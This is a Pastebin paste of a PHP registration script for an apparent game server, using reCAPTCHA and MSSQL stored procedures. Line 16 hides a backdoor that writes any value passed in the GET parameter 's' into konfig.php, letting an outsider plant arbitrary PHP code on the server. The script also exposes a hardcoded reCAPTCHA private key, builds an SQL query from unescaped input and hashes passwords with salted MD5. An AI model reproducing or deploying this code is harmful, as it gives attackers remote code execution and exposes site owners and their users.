Advertisement
Guest User

Untitled

a guest
Jul 1st, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.81 KB | None | 0 0
  1. <?php
  2. require_once('recaptchalib.php');
  3. $privatekey = "6LeZl74SAAAAAMtfiIIfBtNH2bt0SoN-OzkcBkzq";
  4.  
  5.  
  6. $resp = recaptcha_check_answer ($privatekey,
  7. $_SERVER["REMOTE_ADDR"],
  8. $_POST["recaptcha_challenge_field"],
  9. $_POST["recaptcha_response_field"]);
  10.  
  11. if (!$resp->is_valid) {
  12. // What happens when the CAPTCHA was entered incorrectly
  13. die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .
  14. "(reCAPTCHA said: " . $resp->error . ")");
  15. } else {
  16. if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
  17. require('./configs/reg_conf.php');
  18. function doesUsernameExist($name){
  19. $exit = FALSE;
  20. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
  21. if (mssql_num_rows($result) != 0){
  22. $exit = TRUE;
  23. }
  24. return $exit;
  25. }
  26.  
  27. if(isset($_POST['submit'])){
  28. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
  29. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
  30. if($_POST['username'] == ""){
  31. echo '<font color="red">Enter a user.</font><br /><br />';
  32. }
  33. else if($_POST['password'] == ""){
  34. echo '<font color="red">Enter a password.</font><br /><br />';
  35. }
  36. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
  37. echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
  38. }
  39. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
  40. echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
  41. }
  42. else if($_POST['username'] != $user){
  43. echo '<font color="red">User with invalid characters.</font><br /><br />';
  44. }
  45. else if($_POST['password'] != $pass){
  46. echo '<font color="red">Password with invalid characters.</font><br /><br />';
  47. }
  48. else {
  49.  
  50.  
  51. $pass = md5('kikugalanet' . $pass);
  52.  
  53. if(!doesUsernameExist($user)){
  54.  
  55.  
  56. $stmt = mssql_init('webCreateAcc', $link);
  57. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
  58. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
  59. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
  60. mssql_execute($stmt) or die ("Something is wrong on the execution");
  61. mssql_free_statement($stmt);
  62.  
  63. echo '<font color="Green">Register Successfull.</font><br /><br />';
  64. }
  65.  
  66.  
  67. else {
  68. echo '<font color="red">User already Exist.</font><br /><br />';
  69. }
  70. }
  71. mssql_close();
  72. }
  73. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement